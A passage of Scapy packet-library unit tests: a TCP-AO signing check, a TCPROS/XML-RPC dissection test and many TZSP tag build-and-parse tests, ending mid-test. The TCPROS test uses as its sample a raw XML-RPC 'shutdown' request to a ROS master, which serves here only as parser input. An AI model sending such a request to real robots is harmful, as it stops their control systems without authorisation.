b3 f8 5a a6 74 4e cc\n    19 3c cd 30 c0 18 01 00 52 f4 00 00 01 01 08 0a\n    71 da ab d3 13 e4 ab a3 1d 10 54 3d c1 06 9b 7d\n    fd 3d 69 3a 6d f3 f2 89 ff ff ff ff ff ff ff ff\n    ff ff ff ff ff ff ff ff 00 43 01 04 fd e8 00 b4\n    01 01 01 7a 26 02 06 01 04 00 01 00 01 02 02 80\n    00 02 02 02 00 02 02 42 00 02 06 41 04 00 00 fd\n    e8 02 08 40 06 00 64 00 01 01 00\n    \"\"\",\n    \"cf 1b 1e 22 5e 06 a6 36 16 76 4a 06 7b 46 f4 b1\",\n    \"c1 06 9b 7d fd 3d 69 3a 6d f3 f2 89\",\n    server_isn_71x,\n    client_isn_71x,\n    alg_name=\"AES-128-CMAC-96\",\n    include_options=True,\n)\n\n+ TCP-AO Signature API\n= TCP-AO sign SYN packet build from scratch\nmaster_key = b\"hello\"\nalg = TCPAOAlg_HMAC_SHA1()\nkeyid = 12\nrnextkeyid = 34\n\np = IP() / TCP()\np[TCP].flags == \"S\"\nsisn = p[TCP].seq\ndisn = 0\n\n# sign\ntraffic_key = calc_tcpao_traffic_key(p, alg, master_key, sisn, disn)\nsign_tcpao(p, alg, traffic_key, keyid, rnextkeyid)\nmac = calc_tcpao_mac(p, alg, traffic_key)\n\n# parse\np2 = IP(raw(p))\nao = get_tcpao(p2[TCP])\nao is not None\nao.keyid == keyid\nao.rnextkeyid == rnextkeyid\nao.mac == mac\n\n# calculate signature again on parsed packet\ntraffic_key2 = calc_tcpao_traffic_key(p2, alg, master_key, p2[TCP].seq, 0)\ntraffic_key == traffic_key2\nmac2 = calc_tcpao_mac(p2, alg, traffic_key2)\nmac == mac2\n"
  },
  {
    "path": "test/contrib/tcpros.uts",
    "content": "% TCPROS transport layer for ROS Melodic Morenia 1.14.5 dissection\n%\n% Copyright (C) Víctor Mayoral-Vilches <v.mayoralv@gmail.com>\n%\n% This program is free software; you can redistribute it and/or modify it under\n% the terms of the GNU General Public License as published by the Free Software\n% Foundation; either version 2 of the License, or (at your option) any later\n% version.\n%\n% This program is distributed in the hope that it will be useful, but WITHOUT ANY\n% WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A\n% PARTICULAR PURPOSE.  See the GNU General Public License for more details.\n%\n% You should have received a copy of the GNU General Public License along with\n% this program; if not, write to the Free Software Foundation, Inc., 51 Franklin\n% Street, Fifth Floor, Boston, MA  02110-1301, USA.\n\n% TCPROS layer test campaign\n\n+ Syntax check\n= Import the RTPS layer\nfrom scapy.contrib.tcpros import *\n\nbind_layers(TCP, TCPROS, sport=11311)\nbind_layers(HTTPRequest, XMLRPC)\nbind_layers(HTTPResponse, XMLRPC)\n\npkt =   b\"POST /RPC2 HTTP/1.1\\r\\nAccept-Encoding: gzip\\r\\nContent-Length: \" \\\n        b\"227\\r\\nContent-Type: text/xml\\r\\nHost: 12.0.0.2:11311\\r\\nUser-Agent:\" \\\n        b\"xmlrpclib.py/1.0.1 (by www.pythonware.com)\\r\\n\\r\\n<?xml version=\" \\\n        b\"'1.0'?>\\n<methodCall>\\n<methodName>shutdown</methodName>\\n<params>\" \\\n        b\"\\n<param>\\n<value><string>/rosparam-92418</string></value>\\n\" \\\n        b\"</param>\\n<param>\\n<value><string>BOOM</string></value>\" \\\n        b\"\\n</param>\\n</params>\\n</methodCall>\\n\"\n\np = TCPROS(pkt)\n\n+ Test TCPROS\n= Test basic package composition\nassert(HTTP in p)\nassert(HTTPRequest in p)\nassert(XMLRPC in p)\nassert(XMLRPCCall in p)\n\n= Test HTTPRequest within TCPROS\nassert(p[HTTPRequest].Content_Length ==  b'227')\nassert(p[HTTPRequest].Content_Type ==  b'text/xml')\nassert(p[HTTPRequest].Host ==  b'12.0.0.2:11311')\nassert(p[HTTPRequest].User_Agent ==  b'xmlrpclib.py/1.0.1 (by www.pythonware.com)')\nassert(p[HTTPRequest].Method ==  b'POST')\nassert(p[HTTPRequest].Path ==  b'/RPC2')\nassert(p[HTTPRequest].Http_Version ==  b'HTTP/1.1')\n\n= Test XMLRPCCall within TCPROS\nassert(p[XMLRPCCall].version ==  b\"<?xml version='1.0'?>\\n\")\nassert(p[XMLRPCCall].methodcall_opentag ==  b'<methodCall>\\n')\nassert(p[XMLRPCCall].methodname ==  b'shutdown')\nassert(p[XMLRPCCall].params ==  b'<param>\\n<value><string>/rosparam-92418</string></value>\\n</param>\\n<param>\\n<value><string>BOOM</string></value>\\n</param>\\n')\n"
  },
  {
    "path": "test/contrib/tzsp.uts",
    "content": "% TZSP test campaign\n\n#\n# execute test:\n# > test/run_tests -P \"load_contrib('tzsp')\" -t test/contrib/tzsp.uts\n#\n\n+ Basic layer handling\n\n= build basic TZSP frames\n\n== basic TZSP header - keepalive\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \\\n      IP(src='1.1.1.1', dst='2.2.2.2')/ \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \\\n      TZSP(type=TZSP.TYPE_KEEPALIVE, encapsulated_protocol=0)\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_KEEPALIVE\nassert not tzsp_lyr.payload\n\n== basic TZSP header - keepalive + ignored end tag\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \\\n      IP(src='1.1.1.1', dst='2.2.2.2')/ \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \\\n      TZSP(type=TZSP.TYPE_KEEPALIVE, encapsulated_protocol=0)/ \\\n      TZSPTagEnd()\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_KEEPALIVE\nassert tzsp_lyr.guess_payload_class(tzsp_lyr.payload) is scapy.packet.Raw\n\n== basic TZSP header with RX Packet and EndTag\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_end = tzsp_lyr.payload\nassert tzsp_tag_end.type == 1\n\nencapsulated_payload = tzsp_lyr.get_encapsulated_payload()\nencapsulated_ether_lyr = encapsulated_payload.getlayer(Ether)\nassert encapsulated_ether_lyr.src == '00:03:03:03:03:03'\n\n== basic TZSP header with RX Packet and Padding\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagPadding() / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_padding = tzsp_lyr.payload\nassert tzsp_tag_padding.type == 0\n\ntzsp_tag_end = tzsp_tag_padding.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and RAWRSSI (byte, short)\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagRawRSSIByte(raw_rssi=42) / \\\n      TZSPTagRawRSSIShort(raw_rssi=12345) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_raw_rssi_byte = tzsp_lyr.payload\nassert tzsp_tag_raw_rssi_byte.type == 10\nassert tzsp_tag_raw_rssi_byte.raw_rssi == 42\n\ntzsp_tag_raw_rssi_short = tzsp_tag_raw_rssi_byte.payload\nassert tzsp_tag_raw_rssi_short.type == 10\nassert tzsp_tag_raw_rssi_short.raw_rssi == 12345\n\ntzsp_tag_end = tzsp_tag_raw_rssi_short.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and SNR (byte, short)\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagSNRByte(snr=23) / \\\n      TZSPTagSNRShort(snr=54321) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_snr_byte = tzsp_lyr.payload\nassert tzsp_tag_snr_byte.type == 11\nassert tzsp_tag_snr_byte.len == 1\nassert tzsp_tag_snr_byte.snr == 23\n\ntzsp_tag_snr_short = tzsp_tag_snr_byte.payload\nassert tzsp_tag_snr_short.type == 11\nassert tzsp_tag_snr_short.len == 2\nassert tzsp_tag_snr_short.snr == 54321\n\ntzsp_tag_end = tzsp_tag_snr_short.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and DATA Rate\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagDataRate(data_rate=TZSPTagDataRate.DATA_RATE_33) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_data_rate = tzsp_lyr.payload\nassert tzsp_tag_data_rate.type == 12\nassert tzsp_tag_data_rate.len == 1\nassert tzsp_tag_data_rate.data_rate == TZSPTagDataRate.DATA_RATE_33\n\ntzsp_tag_end = tzsp_tag_data_rate.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and Timestamp\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagTimestamp(timestamp=0x11223344) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_timestamp = tzsp_lyr.payload\nassert tzsp_tag_timestamp.type == 13\nassert tzsp_tag_timestamp.len == 4\nassert tzsp_tag_timestamp.timestamp == 0x11223344\n\ntzsp_tag_end = tzsp_tag_timestamp.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and ContentionFree\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagContentionFree(contention_free=TZSPTagContentionFree.NO) / \\\n      TZSPTagContentionFree(contention_free=TZSPTagContentionFree.YES) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_contention_free_no = tzsp_lyr.payload\nassert tzsp_tag_contention_free_no.type == 15\nassert tzsp_tag_contention_free_no.len == 1\nassert tzsp_tag_contention_free_no.contention_free == TZSPTagContentionFree.NO\n\ntzsp_tag_contention_free_yes = tzsp_tag_contention_free_no.payload\nassert tzsp_tag_contention_free_yes.type == 15\nassert tzsp_tag_contention_free_yes.len == 1\nassert tzsp_tag_contention_free_yes.contention_free == TZSPTagContentionFree.YES\n\ntzsp_tag_end = tzsp_tag_contention_free_yes.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and Decrypted\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagDecrypted(decrypted=TZSPTagDecrypted.NO) / \\\n      TZSPTagDecrypted(decrypted=TZSPTagDecrypted.YES) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_decrypted_no = tzsp_lyr.payload\nassert tzsp_tag_decrypted_no.type == 16\nassert tzsp_tag_decrypted_no.len == 1\nassert tzsp_tag_decrypted_no.decrypted == TZSPTagDecrypted.NO\n\ntzsp_tag_decrypted_yes= tzsp_tag_decrypted_no.payload\nassert tzsp_tag_decrypted_yes.type == 16\nassert tzsp_tag_decrypted_yes.len == 1\nassert tzsp_tag_decrypted_yes.decrypted == TZSPTagDecrypted.YES\n\ntzsp_tag_end = tzsp_tag_decrypted_yes.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and FCS error\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagError(fcs_error=TZSPTagError.NO) / \\\n      TZSPTagError(fcs_error=TZSPTagError.YES) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_error_no = tzsp_lyr.payload\nassert tzsp_tag_error_no.type == 17\nassert tzsp_tag_error_no.len == 1\nassert tzsp_tag_error_no.fcs_error == TZSPTagError.NO\n\ntzsp_tag_error_yes = tzsp_tag_error_no.payload\nassert tzsp_tag_error_yes.type == 17\nassert tzsp_tag_error_yes.len == 1\nassert tzsp_tag_error_yes.fcs_error == TZSPTagError.YES\n\ntzsp_tag_end = tzsp_tag_error_yes.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and RXChannel\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagRXChannel(rx_channel=123) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_rx_channel = tzsp_lyr.payload\nassert tzsp_tag_rx_channel.type == 18\nassert tzsp_tag_rx_channel.len == 1\nassert tzsp_tag_rx_channel.rx_channel == 123\n\ntzsp_tag_end = tzsp_tag_rx_channel.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and Packet count\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagPacketCount(packet_count=0x44332211) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_packet_count = tzsp_lyr.payload\nassert tzsp_tag_packet_count.type == 40\nassert tzsp_tag_packet_count.len == 4\nassert tzsp_tag_packet_count.packet_count == 0x44332211\n\ntzsp_tag_end = tzsp_tag_packet_count.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and RXFrameLength\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagRXFrameLength(rx_frame_length=0xbad0) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_frame_length = tzsp_lyr.payload\nassert tzsp_tag_frame_length.type == 41\nassert tzsp_tag_frame_length.len == 2\nassert tzsp_tag_frame_length.rx_frame_length == 0xbad0\n\ntzsp_tag_end = tzsp_tag_frame_length.payload\nassert tzsp_tag_end.type == 1\n\n== basic TZSP header with RX Packet and WLAN RADIO HDR SERIAL\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nSENSOR_ID = b'1E:AT:DE:AD:BE:EF'\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagWlanRadioHdrSerial(sensor_id=SENSOR_ID) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr.type == TZSP.TYPE_RX_PACKET\n\ntzsp_tag_sensor_id = tzsp_lyr.payload\nassert tzsp_tag_sensor_id.type == 60\nassert tzsp_tag_sensor_id.len == len(SENSOR_ID)\nassert tzsp_tag_sensor_id.sensor_id == SENSOR_ID\n\ntzsp_tag_end = tzsp_tag_sensor_id.payload\nassert tzsp_tag_end.type == 1\n\n== handling of unknown tag\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nSENSOR_ID = b'1E:AT:DE:AD:BE:EF'\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagUnknown(len=6, data=b'\\x06\\x05\\x04\\x03\\x02\\x01') / \\\n      TZSPTagWlanRadioHdrSerial(sensor_id=SENSOR_ID) / \\\n      TZSPTagEnd() / \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \\\n      Raw('foobar')\n\nfrm = frm.build()\nfrm = Ether(frm)\n\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr\ntzsp_tag_unknown = tzsp_lyr.payload\nassert type(tzsp_tag_unknown) is TZSPTagUnknown\n\n= all layers stacked\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \\\n      IP(src='1.1.1.1', dst='2.2.2.2')/ \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \\\n      TZSP()/ \\\n      TZSPTagRawRSSIByte(raw_rssi=12)/ \\\n      TZSPTagRawRSSIShort(raw_rssi=1234)/ \\\n      TZSPTagSNRByte(snr=12)/ \\\n      TZSPTagSNRShort(snr=1234)/ \\\n      TZSPTagDataRate(data_rate = TZSPTagDataRate.DATA_RATE_54)/ \\\n      TZSPTagTimestamp(timestamp=12345)/ \\\n      TZSPTagContentionFree(contention_free = TZSPTagContentionFree.NO)/ \\\n      TZSPTagContentionFree(contention_free = TZSPTagContentionFree.YES)/ \\\n      TZSPTagDecrypted(decrypted=TZSPTagDecrypted.NO)/ \\\n      TZSPTagDecrypted(decrypted=TZSPTagDecrypted.YES)/ \\\n      TZSPTagError(fcs_error = TZSPTagError.YES)/ \\\n      TZSPTagError(fcs_error = TZSPTagError.NO)/ \\\n      TZSPTagRXChannel(rx_channel = 42)/ \\\n      TZSPTagPacketCount(packet_count = 987654)/ \\\n      TZSPTagRXFrameLength(rx_frame_length = 0x0bad)/ \\\n      TZSPTagWlanRadioHdrSerial(sensor_id = 'foobar')/ \\\n      TZSPTagPadding()/ \\\n      TZSPTagEnd()/ \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04')/ \\\n      ARP()\n\nfrm = frm.build()\nfrm = Ether(frm)\n\ntzsp_lyr = frm.getlayer(TZSP)\n\ntzsp_raw_rssi_byte_lyr = tzsp_lyr.payload\nassert tzsp_raw_rssi_byte_lyr.type == 10\n\ntzsp_tag_raw_rssi_short = tzsp_raw_rssi_byte_lyr.payload\nassert tzsp_tag_raw_rssi_short.type == 10\n\ntzsp_tag_snr_byte = tzsp_tag_raw_rssi_short.payload\nassert tzsp_tag_snr_byte.type == 11\n\ntzsp_tag_snr_short = tzsp_tag_snr_byte.payload\nassert tzsp_tag_snr_short.type == 11\n\ntzsp_tag_data_rate = tzsp_tag_snr_short.payload\nassert tzsp_tag_data_rate.type == 12\n\ntzsp_tag_timestamp = tzsp_tag_data_rate.payload\nassert tzsp_tag_timestamp.type == 13\n\ntzsp_tag_contention_free_no = tzsp_tag_timestamp.payload\nassert tzsp_tag_contention_free_no.type == 15\n\ntzsp_tag_contention_free_yes = tzsp_tag_contention_free_no.payload\nassert tzsp_tag_contention_free_yes.type == 15\n\ntzsp_tag_decrypted_no = tzsp_tag_contention_free_yes.payload\nassert tzsp_tag_decrypted_no.type == 16\n\ntzsp_tag_decrypted_yes = tzsp_tag_decrypted_no.payload\nassert tzsp_tag_decrypted_yes.type == 16\n\ntzsp_tag_error_yes = tzsp_tag_decrypted_yes.payload\nassert tzsp_tag_error_yes.type == 17\n\ntzsp_tag_error_no = tzsp_tag_error_yes.payload\nassert tzsp_tag_error_no.type == 17\n\ntzsp_tag_rx_channel = tzsp_tag_error_no.payload\nassert tzsp_tag_rx_channel.type == 18\n\ntzsp_tag_packet_count = tzsp_tag_rx_channel.payload\nassert tzsp_tag_packet_count.type == 40\n\ntzsp_tag_frame_length = tzsp_tag_packet_count.payload\nassert tzsp_tag_frame_length.type == 41\n\ntzsp_tag_sensor_id = tzsp_tag_frame_length.payload\nassert tzsp_tag_sensor_id.type == 60\n\ntzsp_tag_padding = tzsp_tag_sensor_id.payload\nassert tzsp_tag_padding.type == 0\n\ntzsp_tag_end = tzsp_tag_padding.payload\nassert tzsp_tag_end.type == 1\n\nencapsulated_payload = tzsp_tag_end.payload\nencapsulated_ether_lyr = encapsulated_payload.getlayer(Ether)\nassert encapsulated_ether_lyr.src == '00:03:03:03:03:03'\n\n+ corner cases\n\n= state tags value range\n\n== TZSPTagContentionFree\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \\\n      IP(src='1.1.1.1', dst='2.2.2.2')/ \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \\\n      TZSP()/ \\\n      TZSPTagContentionFree(contention_free = 0xff)/ \\\n      TZSPTagEnd()\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_tag_contention_free = frm.getlayer(TZSPTagContentionFree)\nassert tzsp_tag_contention_free\ntzsp_tag_contention_free_attr = tzsp_tag_contention_free.get_field('contention_free')\nassert tzsp_tag_contention_free_attr\nsymb_str = tzsp_tag_contention_free_attr.i2repr(tzsp_tag_contention_free, tzsp_tag_contention_free.contention_free)\nassert symb_str == 'yes'\n\n== TZSPTagError\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \\\n      IP(src='1.1.1.1', dst='2.2.2.2')/ \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \\\n      TZSP()/ \\\n      TZSPTagError(fcs_error=TZSPTagError.NO)/ \\\n      TZSPTagEnd()\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_tag_error = frm.getlayer(TZSPTagError)\nassert tzsp_tag_error\ntzsp_tag_error_attr = tzsp_tag_error.get_field('fcs_error')\nassert tzsp_tag_error_attr\nsymb_str = tzsp_tag_error_attr.i2repr(tzsp_tag_error, tzsp_tag_error.fcs_error)\nassert symb_str == 'no'\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \\\n      IP(src='1.1.1.1', dst='2.2.2.2')/ \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \\\n      TZSP()/ \\\n      TZSPTagError(fcs_error=TZSPTagError.YES + 1)/ \\\n      TZSPTagEnd()\n\nfrm = frm.build()\nfrm = Ether(frm)\ntzsp_tag_error = frm.getlayer(TZSPTagError)\nassert tzsp_tag_error\ntzsp_tag_error_attr = tzsp_tag_error.get_field('fcs_error')\nassert tzsp_tag_error_attr\nsymb_str = tzsp_tag_error_attr.i2repr(tzsp_tag_error, tzsp_tag_error.fcs_error)\nassert symb_str == 'reserved'\n\n== missing TZSP header before end tag\n\nfrm = TZSPTagEnd()/ \\\n      Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04')/ \\\n      ARP()\n\nfrm = frm.build()\ntry:\n      frm = TZSPTagEnd(frm)\n      assert False\nexcept TZSPStructureException:\n      pass\n\n== invalid length field for given tag\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      TZSPTagRawRSSIByte(len=3) / \\\n      TZSPTagEnd()\n\nfrm = frm.build()\nfrm = Ether(frm)\n\ntzsp_lyr = frm.getlayer(TZSP)\nassert type(tzsp_lyr.payload) is Raw \n\n== handling of unknown tag - payload to short\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nSENSOR_ID = '1E:AT:DE:AD:BE:EF'\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', dst='2.2.2.2') / \\\n      UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \\\n      TZSP() / \\\n      Raw(b'\\xff\\x0a\\x01\\x02\\x03\\x04\\x05')\n\nfrm = frm.build()\nfrm = Ether(frm)\nfrm.show()\ntzsp_lyr = frm.getlayer(TZSP)\nassert tzsp_lyr\nraw_lyr = tzsp_lyr.payload\nassert type(raw_lyr) is Raw\nassert raw_lyr.load == b'\\xff\\x0a\\x01\\x02\\x03\\x04\\x05'\n\n== handling of unknown tag - no payload after tag type\n\nbind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT)\n\nSENSOR_ID = '1E:AT:DE:AD:BE:EF'\n\nfrm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \\\n      IP(src='1.1.1.1', 